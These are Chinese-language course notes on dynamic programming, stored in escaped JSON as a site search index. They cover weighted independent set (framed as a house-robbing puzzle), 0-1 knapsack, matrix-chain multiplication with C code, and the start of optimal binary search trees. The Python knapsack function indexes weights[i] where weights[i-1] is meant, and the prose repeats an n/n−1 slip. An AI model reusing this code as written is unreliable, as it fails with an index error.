\u4e00\u4e2a\u95ee\u9898\uff0c\u5b83\u7684\u6700\u4f18\u89e3\u53ef\u4ee5\u8868\u8fbe\u4e3a\u4e00\u4e9b\u5408\u9002\u7684\u5b50\u95ee\u9898\u7684\u6700\u4f18\u89e3\u7684\u9012\u63a8\u5173\u7cfb\uff0c\u5219\u6211\u4eec\u79f0\u8fd9\u4e00\u95ee\u9898\u5177\u6709\u6700\u4f18\u5b50\u7ed3\u6784\u6027\u8d28(\u56e0\u4e3a\u5927\u95ee\u9898\u7684\u6700\u4f18\u89e3\u53ef\u4ee5\u76f4\u63a5\u4f9d\u8d56\u4e8e\u5c0f\u95ee\u9898\u7684\u6700\u4f18\u89e3) \u3002\u7136\u540e\u6211\u4eec\u6c42\u89e3\u8fd9\u4e00\u9012\u63a8\u5f0f\uff0c\u901a\u8fc7\u8bbe\u7f6e\u597d base case\uff08\u8fd9\u91cc\u6211\u4eec\u4e5f\u7528 basecase \u6307\u4ee3\u6700\u7b80\u5355\u7684\u60c5\u51b5\uff0c\u4f46\u6ce8\u610f\u8fd9\u65f6\u4e0d\u662f\u9012\u5f52\u4e86\uff09\uff0c\u7136\u540e\u901a\u8fc7\u8bb0\u5fc6\u5316\u7684\u65b9\u6cd5\uff0c\u4f7f\u7528\u8fed\u4ee3\u7b97\u6cd5\u800c\u975e\u8d39\u65f6\u7684\u9012\u5f52\u7b97\u6cd5\u907f\u514d\u5197\u4f59\u8ba1\u7b97\uff0c\u5f97\u5230\u4e00\u4e2a\u65f6\u95f4\u590d\u6742\u5ea6\u4ee4\u4eba\u6ee1\u610f\u7684\u7b97\u6cd5\uff0c\u8fd9\u5c31\u662f\u52a8\u6001\u89c4\u5212\u7684\u57fa\u672c\u60f3\u6cd5\u3002</p> \u52a8\u6001\u89c4\u5212 \u57fa\u672c\u7ed3\u6784 <p>\u52a8\u6001\u89c4\u5212\u65b9\u6cd5\u901a\u5e38\u7528\u6765\u6c42\u89e3\u6700\u4f18\u5316\u95ee\u9898\uff08optimization problem\uff09\u3002\u8fd9\u7c7b\u95ee\u9898\u53ef\u4ee5\u6709\u5f88\u591a\u53ef\u884c\u89e3\uff0c\u6bcf\u4e2a\u89e3\u90fd\u6709\u4e00\u4e2a\u503c\uff0c\u6211\u4eec\u5e0c\u671b\u5bfb\u627e\u5177\u6709\u6700\u4f18\u503c\uff08\u6700\u5c0f\u503c\u6216\u6700\u5927\u503c\uff09\u7684\u89e3\u3002\u6211\u4eec\u79f0\u8fd9\u6837\u7684\u89e3\u4e3a\u95ee\u9898\u7684\u4e00\u4e2a\u6700\u4f18\u89e3\uff08an optimal solution\uff09\uff0c\u800c\u4e0d\u662f\u6700\u4f18\u89e3\uff08the optimal solution\uff09\uff0c\u56e0\u4e3a\u53ef\u80fd\u6709\u591a\u4e2a\u89e3\u90fd\u8fbe\u5230\u6700\u4f18\u503c\u3002 \u6211\u4eec\u901a\u5e38\u6309\u5982\u4e0b 4 \u4e2a\u6b65\u9aa4\u6765\u8bbe\u8ba1\u4e00\u4e2a\u52a8\u6001\u89c4\u5212\u7b97\u6cd5\uff1a</p> <ul> <li>\u523b\u753b\u4e00\u4e2a\u6700\u4f18\u89e3\u7684\u7ed3\u6784\u7279\u5f81\uff1b</li> <li>\u9012\u5f52\u5730\u5b9a\u4e49\u6700\u4f18\u89e3\u7684\u503c\uff1b</li> <li>\u8ba1\u7b97\u6700\u4f18\u89e3\u7684\u503c\uff0c\u901a\u5e38\u91c7\u7528\u81ea\u5e95\u5411\u4e0a\u7684\u65b9\u6cd5\uff1b</li> <li>\u5229\u7528\u8ba1\u7b97\u51fa\u7684\u4fe1\u606f\u6784\u9020\u4e00\u4e2a\u6700\u4f18\u89e3\u3002</li> </ul> <p>\u524d\u4e09\u4e2a\u6b65\u9aa4\u662f\u52a8\u6001\u89c4\u5212\u7b97\u6cd5\u6c42\u89e3\u95ee\u9898\u7684\u57fa\u7840\u3002\u5982\u679c\u6211\u4eec\u4ec5\u4ec5\u9700\u8981\u4e00\u4e2a\u6700\u4f18\u89e3\u7684\u503c\uff0c\u800c\u975e\u89e3\u672c\u8eab\uff0c\u53ef\u4ee5\u5ffd\u7565\u6700\u540e\u4e00\u4e2a\u6b65\u9aa4</p> <p>\u66f4\u7cbe\u70bc\u5730\uff0c\u4e8b\u5b9e\u4e0a\u52a8\u6001\u89c4\u5212\u5c31\u662f\u4e3a\u4e00\u4e2a\u5177\u6709\u6240\u8c13\u6700\u4f18\u5b50\u7ed3\u6784\u6027\u8d28\uff08\u5373\u539f\u95ee\u9898\u6700\u4f18\u89e3\u53ef\u4ee5\u7531\u5b50\u95ee\u9898\u6700\u4f18\u89e3\u9012\u63a8\u5f97\u5230\uff09\u7684\u6700\u4f18\u5316\u95ee\u9898\u5bfb\u627e\u4e00\u4e2a\u5b50\u95ee\u9898\u5230\u539f\u95ee\u9898\u7684\u9012\u63a8\u5f0f\uff0c\u7136\u540e\u7528\u8bb0\u5fc6\u5316\u65b9\u6cd5\u6c42\u89e3\uff0c\u6709\u65f6\u5019\u9700\u8981\u6784\u9020\u8fd9\u4e00\u7ec4\u89e3</p>"},{"location":"NOTE/ADS/wk7/#_1","title":"\u52a0\u6743\u72ec\u7acb\u96c6\u5408\u95ee\u9898","text":"<p>\u95ee\u9898\u5f15\u5165</p> <p>\u4f60\u662f\u4e00\u4e2a\u4e13\u4e1a\u7684\u5c0f\u5077\uff0c\u8ba1\u5212\u5077\u7a83\u6cbf\u8857\u7684\u623f\u5c4b\u3002\u6bcf\u95f4\u623f\u5185\u90fd\u85cf\u6709\u4e00\u5b9a\u7684\u73b0\u91d1\uff0c\u5f71\u54cd\u4f60\u5077\u7a83\u7684\u552f\u4e00\u5236\u7ea6\u56e0\u7d20\u5c31\u662f\u76f8\u90bb\u7684\u623f\u5c4b\u88c5\u6709\u76f8\u4e92\u8fde\u901a\u7684\u9632\u76d7\u7cfb\u7edf\uff0c\u5982\u679c\u4e24\u95f4\u76f8\u90bb\u7684\u623f\u5c4b\u5728\u540c\u4e00\u665a\u4e0a\u88ab\u5c0f\u5077\u95ef\u5165\uff0c\u7cfb\u7edf\u4f1a\u81ea\u52a8\u62a5\u8b66\u3002\u7ed9\u5b9a\u4e00\u4e2a\u4ee3\u8868\u6bcf\u4e2a\u623f\u5c4b\u5b58\u653e\u91d1\u989d\u7684\u975e\u8d1f\u6574\u6570\u6570\u7ec4\uff0c\u8ba1\u7b97\u4f60\u4e0d\u89e6\u52a8\u8b66\u62a5\u88c5\u7f6e\u7684\u60c5\u51b5\u4e0b\uff0c\u4e00\u591c\u4e4b\u5185\u80fd\u591f\u5077\u7a83\u5230\u7684\u6700\u9ad8\u91d1\u989d</p> <p>\u95ee\u9898\u53ef\u4ee5\u88ab\u62bd\u8c61\u4e3a</p> <p>\u8003\u8651\u4e00\u4e2a\u65e0\u5411\u56fe G\uff0c\u5176\u4e0a\u6240\u6709\u70b9\u90fd\u5728\u4e00\u6761\u7ebf\u4e0a\uff08\u8fd9\u79cd\u56fe\u6211\u4eec\u79f0\u5176\u4e3a\u8def\u5f84\u56fe\uff09\uff0c\u6bcf\u4e2a\u70b9\u90fd\u6709\u4e00\u4e2a\u975e\u8d1f\u6743\u91cd\u3002\u6211\u4eec\u79f0 G \u7684\u72ec\u7acb\u96c6\u5408\u662f\u6307\u9876\u70b9\u4e92\u4e0d\u76f8\u90bb\u7684\u5b50\u96c6\uff08\u6362\u53e5\u8bdd\u8bf4\u72ec\u7acb\u96c6\u5408\u4e0d\u4f1a\u540c\u65f6\u5305\u542b\u4e00\u6761\u8fb9\u4e0a\u7684\u4e24\u4e2a\u70b9\uff09\uff0c\u7136\u540e\u8981\u6c42\u89e3\u4e00\u4e2a\u5177\u6709\u6700\u5927\u9876\u70b9\u6743\u91cd\u548c\u7684\u72ec\u7acb\u96c6\u5408\u3002</p> \u7b80\u5355\u4f8b\u5b50 <p> </p> <p>\u5728\u8fd9\u4e2a\u56fe\u4e2d\u6709 8 \u4e2a\u72ec\u7acb\u5b50\u96c6\uff1a</p> <ul> <li>\u7a7a\u96c6</li> <li>\u56db\u4e2a\u5355\u70b9\u96c6</li> <li>\u7b2c 1 \u548c\u7b2c 3 \u4e2a\u70b9</li> <li>\u7b2c 1 \u548c\u7b2c 4 \u4e2a\u70b9</li> <li>\u7b2c 2 \u548c\u7b2c 4 \u4e2a\u70b9</li> </ul> <p>\u5176\u4e2d\u6700\u5927\u7684\u72ec\u7acb\u96c6\u5408\u663e\u7136\u662f\u7b2c 2 \u548c\u7b2c 4 \u4e2a\u70b9\u6784\u6210\u7684\u96c6\u5408\uff0c\u5176\u6743\u91cd\u548c\u4e3a 8\uff0c\u5373\u5c0f\u5077\u7684\u6700\u4f18\u9009\u62e9\u662f\u5077 2 \u548c 4 \u4e24\u5bb6\uff0c\u6700\u5927\u6536\u76ca\u662f 8\u3002\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u9898\u76ee\u7684\u5047\u8bbe\u4e2d\u6bcf\u4e2a\u9876\u70b9\u90fd\u6709\u975e\u8d1f\u6743\u91cd\uff0c\u6240\u4ee5\u6700\u4f18\u89e3\u7684\u9876\u70b9\u5e94\u5f53\u662f\u8d8a\u591a\u8d8a\u597d\u3002</p> <p>\u4e3a\u4e86\u6784\u5efa\u51fa\u8fd9\u4e00\u95ee\u9898\u7684\u6700\u4f18\u5b50\u7ed3\u6784\uff0c\u6211\u4eec\u8003\u8651\u5728\\(n\\)\u4e2a\u70b9\uff0c\\(n-1\\)\u6761\u8fb9\u6784\u6210\u7684\u56fe\\(G(V,E)\\)\u4e2d\u6700\u540e\u4e00\u4e2a\u70b9\\(v_n\\) \u5728\u4e0d\u5728\u89e3\u5f53\u4e2d\uff1a</p> <ul> <li>\u5982\u679c\u4e0d\u5728\uff0c\u90a3\u4e48\u95ee\u9898\u7684\u89e3\u5c31\u662f\u5b50\u95ee\u9898\\(G_{n-1}\\)\u7684\u6700\u4f18\u89e3</li> <li>\u5982\u679c\u5728\uff0c\u90a3\u4e48\u95ee\u9898\u7684\u89e3\u5c31\u662f\u5b50\u95ee\u9898\\(G_{n-2}\\)\u7684\u6700\u4f18\u89e3\u52a0\u4e0a\\(v_n\\)</li> </ul> <p>\u6545\u8bbe\u524d \\(i\\) \u4e2a\u70b9\u7684\u6700\u4f18\u52a0\u6743\u72ec\u7acb\u96c6\u5408\u7684\u6743\u91cd\u4e4b\u548c\u4e3a \\(W_i\\)\uff0c\u6211\u4eec\u53ef\u4ee5\u5199\u51fa\u9012\u63a8\u5173\u7cfb\uff1a</p> \\[     W_i = \\max(W_{i-1}, W_{i-2} + w_i) \\] <p>\u6700\u540e\u6211\u4eec\u53ef\u4ee5\u81ea\u5e95\u5411\u4e0a\u6784\u5efa\u89e3</p> <pre><code>   array A\n   A[0]=0\n   A[1]=w[1]\n   for i in range(2,n+1):\n    A[i]=max(A[i-1],(A[i-2]+w_i))\n   return A[n]\n</code></pre> <p>\u6211\u4eec\u5728\\(O(n)\\)\u590d\u6742\u5ea6\u5185\u5b8c\u6210\u4e86\u8fd9\u4e00\u5de5\u4f5c</p> <p>\u5982\u679c\u6211\u4eec\u9700\u8981\u91cd\u6784\u51fa\u6784\u6210\u6700\u4f18\u89e3\u6709\u54ea\u4e00\u4e9b\u70b9\uff0c\u90a3\u4e48\u53ef\u4ee5\u81ea\u9876\u5411\u4e0b\u6839\u636e\u9012\u63a8\u5f0f\u6765\u5224\u65ad\u5f53\u524d\u56fe\u7684\u6700\u540e\u4e00\u4e2a\u70b9\u662f\u5426\u5728\u89e3\u4e2d</p>"},{"location":"NOTE/ADS/wk7/#_2","title":"\u80cc\u5305\u95ee\u9898","text":"<p>\u80cc\u5305\u95ee\u9898\u662f\u4e00\u4e2a\u6700\u6700\u7ecf\u5178\u7684\u52a8\u6001\u89c4\u5212\u95ee\u9898\uff0c\u6211\u4eec\u8fd9\u91cc\u9996\u5148\u4ecb\u7ecd\u6700\u57fa\u7840\u7684\u80cc\u5305\u95ee\u9898\uff0c\u5373 \\(0-1\\) \u80cc\u5305\u95ee\u9898\u3002\u8fd9 \u4e00\u95ee\u9898\u7684\u63cf\u8ff0\u5982\u4e0b\uff1a\u6211\u4eec\u6709 \\(n\\) \u4e2a\u7269\u54c1\uff0c\u6bcf\u4e2a\u7269\u54c1\u7684\u91cd\u91cf\u4e3a \\(s_i\\)\uff0c\u4ef7\u503c\u4e3a \\(v_i\\)\uff0c\u6211\u4eec\u6709\u4e00\u4e2a\u5bb9\u91cf\u4e3a \\(C\\) \u7684\u80cc\u5305\uff0c\u6211\u4eec\u5e0c\u671b\u627e\u5230\u4e00\u4e2a\u6700\u4f18\u7684\u88c5\u8f7d\u65b9\u6848\uff0c\u4f7f\u5f97\u80cc\u5305\u4e2d\u7684\u7269\u54c1\u603b\u4ef7\u503c\u6700\u5927\u3002\u8fd9\u4e00\u95ee\u9898\u7684\u7279\u70b9\u662f\u6bcf\u4e2a\u7269\u54c1\u4f60\u8981\u4e48\u4e0d\u653e\u8fdb\u5305\u91cc\uff0c\u8981\u4e48\u5b8c\u6574\u7684 \\(1\\) \u4e2a\u653e\u8fdb\u53bb\uff0c\u56e0\u6b64\u79f0\u4e3a \\(0-1\\) \u80cc\u5305\u95ee\u9898\u3002</p> <p>\u8fd9\u4e0e\u52a0\u6743\u72ec\u7acb\u96c6\u5408\u95ee\u9898\u7565\u6709\u4e0d\u540c</p> <ul> <li>\u5982\u679c\u7b2c \\(n\\) \u4e2a\u7269\u54c1\u4e0d\u5728\u6700\u4f18\u89e3 \\(S\\) \u4e2d\uff0c\u5373\u6700\u4f18\u65b9\u6848\u6392\u9664\u4e86\u6700\u540e\u4e00\u4ef6\u7269\u54c1\uff0c\u56e0\u6b64\u5b83\u53ef\u4ee5\u770b\u6210\u4ec5\u7531\u524d  \\(n\u22121\\)\u4e2a\u7269\u54c1\u7ec4\u6210\u7684\u5b50\u95ee\u9898\u7684\u4e00\u79cd\u53ef\u884c\u89e3\u51b3\u65b9\u6848</li> <li>\u5982\u679c\u7b2c \\(n\\) \u4e2a\u7269\u54c1\u5728\u6700\u4f18\u89e3 \\(S\\) \u4e2d\uff0c\u8fd9\u79cd\u60c5\u51b5\u53ea\u6709\u5728 \\(s_n \\leqslant C\\) \u65f6\u624d\u6709\u610f\u4e49\u3002\u7c7b\u4f3c\u4e8e\u52a0\u6743\u72ec\u7acb\u96c6\u5408\u95ee\u9898\uff0c\u6211\u4eec\u5e0c\u671b \\(S \u2212 \\{n\\}\\) \u662f\u524d \\(n \u2212 1\\) \u4e2a\u7269\u54c1\u7ec4\u6210\u7684\u5b50\u95ee\u9898\u7684\u6700\u4f18\u89e3\uff0c\u4f46\u8fd9\u663e\u7136\u662f\u9519\u8bef\u7684\uff01\u5982\u679c \\(S \u2212 \\{n\\}\\)\u5c31\u5df2\u7ecf\u628a \\(W\\)\u51e0\u4e4e\u5360\u6ee1\uff0c\u90a3\u6700\u540e \\(n\\) \u6839\u672c\u5c31\u653e\u4e0d\u8fdb\u6765\u4e86\u3002\u56e0\u6b64\u6211\u4eec\u9700\u8981\u5bf9\u5b50\u95ee\u9898\u7684\u8bbe\u7f6e\u7565\u505a\u8c03\u6574\uff1a\\(S \u2212 \\{n\\}\\) \u5e94\u5f53\u662f\u524d \\(n\\) \u4e2a\u7269\u54c1\u5728\u80cc\u5305\u5bb9\u91cf\u4e3a \\(C \u2212s_n\\) \u7684\u60c5\u51b5\u4e0b\u7684\u6700\u4f18\u89e3\uff01\u56e0\u4e3a\u6211\u4eec\u77e5\u9053 \\(n\\) \u5728\u89e3\u4e2d\uff0c\u90a3\u4e48\u9664\u53bb \\(n\\) \u4e4b\u5916\u7684\u5176\u5b83\u89e3\u7684\u91cd\u91cf\u4e4b\u548c\u6700\u591a\u5c31\u662f \\(C \u2212 s_n\\)\uff0c\u56e0\u6b64 \\(S \u2212 \\{n\\}\\) \u5e94\u5f53\u662f\u524d \\(n\\) \u4e2a\u7269\u54c1\u5728\u80cc\u5305\u5bb9\u91cf\u4e3a  \\(C \u2212 s_n\\)\u7684\u60c5\u51b5\u4e0b\u7684\u53ef\u884c\u89e3</li> </ul> <p>\u6240\u4ee5</p> \\[  V_{i,c} =  \\begin{cases}  V_{i-1,c}, &amp; \\text{if } s_i &gt; c \\\\  \\max(V_{i-1,c}, V_{i-1,c-s_i} + v_i), &amp; \\text{if } s_i \\leq c  \\end{cases}  \\] <pre><code>def knapsack(weights, values, capacity):\n    n = len(weights)\n    dp = [[0] * (capacity + 1) for _ in range(n + 1)]\n\n    for i in range(1, n + 1):\n        for c in range(capacity + 1):\n            if weights[i] &gt; c: #\u5982\u679c\u5f53\u524d\u7269\u54c1\u7684\u91cd\u91cf\u5927\u4e8e\u80cc\u5305\u5bb9\u91cf,\u4e0d\u7528\u518d\u8003\u8651\n                dp[i][c] = dp[i-1][c]\n            else:\n                dp[i][c] = max(dp[i-1][c], dp[i-1][c-weights[i-1]] + values[i-1])\n\n    return dp[n][capacity]\n</code></pre> <p>\u89e3\u7684\u91cd\u6784</p>"},{"location":"NOTE/ADS/wk7/#_3","title":"\u77e9\u9635\u4e58\u6cd5\u7684\u8ba1\u7b97\u987a\u5e8f","text":"<p>\u6211\u4eec\u8003\u8651\u77e9\u9635\u94fe\u76f8\u4e58 \\( M_1M_2 \\cdots M_n \\)\uff0c\u6bcf\u4e2a\u77e9\u9635\u7684\u5927\u5c0f\u4e3a \\( r_{i-1} \\times r_i \\)\u3002\u8bb0</p> \\[ M_{ij} = M_iM_{i+1} \\cdots M_j \\] <p>\u663e\u7136\u524d\u9762\u7684\u4e09\u4e2a\u95ee\u9898\u7ed9\u6211\u4eec\u4e86\u4e0d\u5c11\u7684\u7ecf\u9a8c\uff1a\u6211\u4eec\u5e94\u5f53\u8003\u8651\u6700\u540e\u4e00\u4e2a\u77e9\u9635\uff0c\u7136\u540e\u4f9d\u636e\u8fd9\u4e00\u77e9\u9635\u53ef\u80fd\u7684\u76f8\u4e58\u65b9\u5f0f\u5212\u5206\u6700\u4f18\u89e3\u7684\u53ef\u80fd\u6027\u3002\u5f88\u7b80\u5355\u7684\uff0c\u7b2c\u4e00\u79cd\u60c5\u51b5\u5bf9\u5e94\u6211\u4eec\u7684\u8ba1\u7b97\u65b9\u5f0f\u662f \\( M_{1,n-1} \\cdots M_n \\)\uff0c\u5373\u5148\u7528\u7b97\u524d \\( n-1 \\) \u4e2a\u77e9\u9635\u76f8\u4e58\u7684\u6700\u4f18\u65b9\u5f0f\u8ba1\u7b97\u524d \\( n-1 \\) \u4e2a\u77e9\u9635\u7684\u4e58\u79ef\uff0c\u6700\u540e\u4e0e \\( M_n \\) \u76f8\u4e58\uff1b\u7b2c\u4e8c\u79cd\u60c5\u51b5\u7684\u8ba1\u7b97\u65b9\u5f0f\u662f \\( M_{1,n-2} \\cdots M_{n-1}M_n \\)\uff0c\u5373\u5148\u7528\u7b97\u524d \\( n-2 \\) \u4e2a\u77e9\u9635\u76f8\u4e58\u7684\u6700\u4f18\u65b9\u5f0f\u8ba1\u7b97\u524d \\( n-2 \\) \u4e2a\u77e9\u9635\u7684\u4e58\u79ef\uff0c\u6700\u540e\u4e0e \\( M_{n-1}M_n \\) \u7684\u7ed3\u679c\u76f8\u4e58\u3002\u8fd9\u662f\u6839\u636e\u6211\u4eec\u524d\u9762\u7684\u95ee\u9898\u7684\u7ecf\u9a8c\u5f97\u5230\u7684\uff0c\u548c\u8868\u8ff0\u5b8c\u5168\u4e00\u81f4\uff0c\u4f46\u4e8b\u5b9e\u4e0a\u771f\u7684\u53ea\u6709\u8fd9\u4e24\u79cd\u60c5\u51b5\u5417\uff1f\u663e\u7136\u4e0d\u662f\u7684\uff01\u6ce8\u610f\uff0c\u8bf7\u56de\u5230\u6211\u4eec\u5206\u7c7b\u7684\u6839\u6e90\u6765\u770b\uff1a\u6211\u4eec\u6b64\u65f6\u5206\u7c7b\u7684\u4f9d\u636e\u662f \\( M_n \\) \u7684\u8ba1\u7b97\u65b9\u5f0f\uff0c\u90a3\u4e48\u5bf9\u4e8e\u5982\u4e0b\u4e58\u79ef\u5f62\u5f0f\uff1a</p> \\[ M_{1,i}M_{i+1,n-1}M_n \\] <p>\u53ea\u8981\u662f\u4e0d\u540c\u7684 \\( i \\) \uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u5f97\u5230\u4e0d\u540c\u7684\u8ba1\u7b97\u65b9\u5f0f</p> <p>\u56e0\u6b64\uff0c\u6211\u4eec\u81ea\u9876\u5411\u4e0b\u5bfb\u627e\u6700\u4f18\u89e3\u65f6\uff0c\u5e94\u8be5\u8003\u8651\u5bf9\u4e8e\u4e00\u4e2a\u65e0\u5e8f\u77e9\u9635\uff0c\u6211\u4eec\u7684\u7b2c\u4e00\u5200\u5e94\u8be5\u5207\u5728\u54ea\u4e2a\u5730\u65b9</p> \\[     m_{1n} = min\\{m_{1i} + m_{i+1,n} + r_0r_ir_n\\} \\] <p>\u524d\u4e24\u9879\u4ee3\u8868\u5de6\u53f3\u5b50\u95ee\u9898\u7684\u89e3\uff0c\u6700\u540e\u4e00\u9879\u4ee3\u8868\u5408\u5e76\u7684\u4ee3\u4ef7\uff0c\u66f4\u5177\u4f53\u7684\uff0c\u6211\u4eec\u6709</p> \\[  m_{ij} =  \\begin{cases}  0, &amp; i = j; \\\\  \\min\\limits_{i \\leq k &lt; j} \\{ m_{ik} + m_{k+1,j} + r_{i-1}r_kr_j \\}, &amp; i &lt; j.  \\end{cases}  \\] <pre><code>void OptMatrix( const long r[ ], int N, TwoDimArray M ) \n{   int  i, j, k, L; \n    long  ThisM; \n    for( i = 1; i &lt;= N; i++ )   M[ i ][ i ] = 0; //base case\n    for( k = 1; k &lt; N; k++ ) /* k = j - i */ \n        for( i = 1; i &lt;= N - k; i++ ) { /* For each position */ \n    j = i + k;    M[ i ][ j ] = Infinity; \n    for( L = i; L &lt; j; L++ ) { \n        ThisM = M[ i ][ L ] + M[ L + 1 ][ j ] \n            + r[ i - 1 ] * r[ L ] * r[ j ]; \n        if ( ThisM &lt; M[ i ][ j ] )  /* Update min */ \n        M[ i ][ j ] = ThisM; \n    }  /* end for-L */\n    }  /* end for-Left */\n}\n</code></pre> \u4ee3\u7801\u89e3\u91ca <ul> <li>\u53c2\u6570: <code>r</code> \u662f\u77e9\u9635\u94fe\u7684\u7ef4\u5ea6\u6570\u7ec4\uff0c<code>N</code> \u662f\u77e9\u9635\u94fe\u7684\u957f\u5ea6\uff0c<code>M</code> \u662f\u52a8\u6001\u89c4\u5212\u7684\u7ed3\u679c\u8868\u3002</li> <li>\u521d\u59cb\u5316base case\uff1a</li> <li><code>for( i = 1; i &lt;= N; i++ ) M[ i ][ i ] = 0;</code></li> <li> <p>\u8fd9\u4e00\u6b65\u5c06\u77e9\u9635 <code>M</code> \u7684\u5bf9\u89d2\u7ebf\u5143\u7d20\u8bbe\u4e3a 0\uff0c\u56e0\u4e3a\u5355\u4e2a\u77e9\u9635\u7684\u4e58\u6cd5\u4ee3\u4ef7\u4e3a\u96f6\u3002</p> </li> <li> <p>\u586b\u5145\u52a8\u6001\u89c4\u5212\u8868\uff1a</p> </li> <li><code>for( k = 1; k &lt; N; k++ )</code>\uff1a<code>k</code> \u8868\u793a\u5f53\u524d\u8003\u8651\u7684\u77e9\u9635\u94fe\u957f\u5ea6\u3002</li> <li><code>for( i = 1; i &lt;= N - k; i++ )</code>\uff1a<code>i</code> \u662f\u94fe\u7684\u8d77\u59cb\u4f4d\u7f6e\u3002<ul> <li><code>j = i + k;</code>\uff1a<code>j</code> \u662f\u94fe\u7684\u7ed3\u675f\u4f4d\u7f6e\u3002</li> <li><code>M[ i ][ j ] = Infinity;</code>\uff1a\u521d\u59cb\u5316 <code>M[i][j]</code> \u4e3a\u65e0\u7a77\u5927\uff0c\u8868\u793a\u5c1a\u672a\u8ba1\u7b97\u51fa\u6700\u5c0f\u4ee3\u4ef7\u3002</li> <li><code>for( L = i; L &lt; j; L++ )</code>\uff1a<code>L</code> \u662f\u53ef\u80fd\u7684\u5206\u5272\u70b9\u3002</li> <li><code>ThisM = M[ i ][ L ] + M[ L + 1 ][ j ] + r[ i - 1 ] * r[ L ] * r[ j ];</code><ul> <li>\u8ba1\u7b97\u4ece <code>i</code> \u5230 <code>L</code> \u548c\u4ece <code>L+1</code> \u5230 <code>j</code> \u7684\u4e58\u6cd5\u4ee3\u4ef7\uff0c\u52a0\u4e0a\u5408\u5e76\u4e24\u4e2a\u7ed3\u679c\u77e9\u9635\u7684\u4ee3\u4ef7\u3002</li> </ul> </li> <li><code>if ( ThisM &lt; M[ i ][ j ] ) M[ i ][ j ] = ThisM;</code><ul> <li>\u5982\u679c\u8ba1\u7b97\u51fa\u7684\u4ee3\u4ef7\u5c0f\u4e8e\u5f53\u524d\u5b58\u50a8\u7684\u4ee3\u4ef7\uff0c\u5219\u66f4\u65b0 <code>M[i][j]</code>\u3002</li> </ul> </li> </ul> </li> </ul> <p>\u65f6\u95f4\u590d\u6742\u5ea6\uff1a\\(O(n^3)\\)\uff0c\u5176\u4e2d \\(n\\) \u662f\u77e9\u9635\u94fe\u7684\u957f\u5ea6\u3002</p> <p>\u89e3\u7684\u91cd\u6784</p> <p>\u8fd9\u4e00\u95ee\u9898\u91cd\u6784\u89e3\u7684\u65b9\u6cd5\u5982\u679c\u7528\u548c\u524d\u9762\u7684\u95ee\u9898\u4e00\u6837\u7b80\u5355\u76f4\u63a5\u7684\u63a7\u5236\u65b9\u6cd5\u663e\u7136\u4f1a\u6bd4\u8f83\u8017\u65f6\uff0c\u56e0\u4e3a\u6211\u4eec\u6bcf\u6b21\u8981\u6bd4\u8f83\u5f88\u591a\u79cd\u53ef\u80fd\u7684\u60c5\u51b5\u624d\u80fd\u91cd\u6784\u51fa\u89e3\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u505a\u4e00\u4e9b\u4f18\u5316\u3002\u4f18\u5316\u7684\u65b9\u6cd5\u4e5f\u975e\u5e38\u81ea\u7136\uff0c\u5b9e\u9645\u4e0a\u5173\u952e\u5c31\u662f\u7528\u4e00\u4e2a\u4e8c\u7ef4\u6570\u7ec4\u8bb0\u4f4f\u6bcf\u4e2a\u5b50\u95ee\u9898</p> \\[  m_{ij} = \\min\\limits_{i \\leq k &lt; j} \\{ m_{ik} + m_{k+1,j} + r_{i-1}r_kr_j \\}  \\] <p>\u5bf9\u5e94\u7684\u6700\u4f18\u7684\u5206\u70b9\uff0c\u7136\u540e\u5f53\u6211\u4eec\u7b97\u51fa\u95ee\u9898 \\( m_n \\) \u7684\u6700\u4f18\u89e3\u53ca\u5176\u5bf9\u5e94\u7684\u6700\u4f18\u5206\u70b9\u540e\uff0c\u6211\u4eec\u518d\u6309\u5de6\u53f3\u4e24\u534a\u5b50\u95ee\u9898\u7684\u6700\u4f18\u5206\u70b9\uff0c\u4ee5\u6b64\u7c7b\u63a8\uff0c\u7528\u4e2d\u5e8f\u904d\u5386\u7684\u601d\u60f3\u5c06\u5206\u70b9\u8f93\u51fa\u5373\u53ef\uff0c\u53ea\u9700\u7ebf\u6027\u65f6\u95f4\u3002</p> <pre><code>// Function to print the optimal parenthesization\nvoid printOptimalParens(vector&lt;vector&lt;int&gt;&gt;&amp; s, int i, int j) {\n    if (i == j) {\n        cout &lt;&lt; \"A\" &lt;&lt; i;\n    } else {\n        cout &lt;&lt; \"(\";\n        printOptimalParens(s, i, s[i][j]);\n        cout &lt;&lt; s[i][j];\n        printOptimalParens(s, s[i][j] + 1, j);\n        cout &lt;&lt; \")\";\n    }\n}\n</code></pre>"},{"location":"NOTE/ADS/wk7/#_4","title":"\u6700\u4f18\u4e8c\u53c9\u641c\u7d22\u6811","text":"<p>Question</p> <p>\u8fd9\u4e00\u95ee\u9898\u7ed9\u5b9a\u5982\u4e0b\u8f93\u5165\uff1a\u7ed9\u5b9a\u4e00\u5217\u5355\u8bcd \\( w_1, w_2, \\ldots, w_n \\)\uff08\u5b83\u4eec\u7684\u987a\u5e8f\u5df2\u7ecf\u6309\u5b57\u5178\u5e8f\u6392\u5217\uff09\u548c\u5b83\u4eec\u51fa\u73b0\u7684\u56fa\u5b9a\u7684\u6982\u7387 \\( p_1, p_2, \\ldots, p_n \\)\u3002\u95ee\u9898\u662f\u8981\u4ee5\u4e00\u79cd\u65b9\u6cd5\u5728\u4e00\u68f5\u4e8c\u53c9\u67e5\u627e\u6811\u4e2d\u5b89\u653e\u8fd9\u4e9b\u5355\u8bcd\u4f7f\u5f97\u603b\u7684\u671f\u671b\u67e5\u627e\u65f6\u95f4\u6700\u5c0f\u3002</p> <p>\u5728\u4e00\u68f5\u4e8c\u53c9\u67e5\u627e\u6811\u4e2d\uff0c\u8bbf\u95ee\u6df1\u5ea6 \\( d \\) \u5904\u7684\u6bcf\u4e00\u4e2a\u5143\u7d20\u6240\u9700\u8981\u7684\u6bd4\u8f83\u6b21\u6570\u662f \\( d+1 \\)\uff0c\u56e0\u6b64\u5982\u679c \\( w_i \\) \u88ab\u653e\u5728\u6df1\u5ea6 \\( d_i \\) \u4e0a\uff0c\u90a3\u4e48\u6211\u4eec\u671f\u671b\u5c06 \\( \\sum_{i=1}^{N} p_i (1 + d_i) \\) \u6781\u5c0f\u5316\u3002</p> 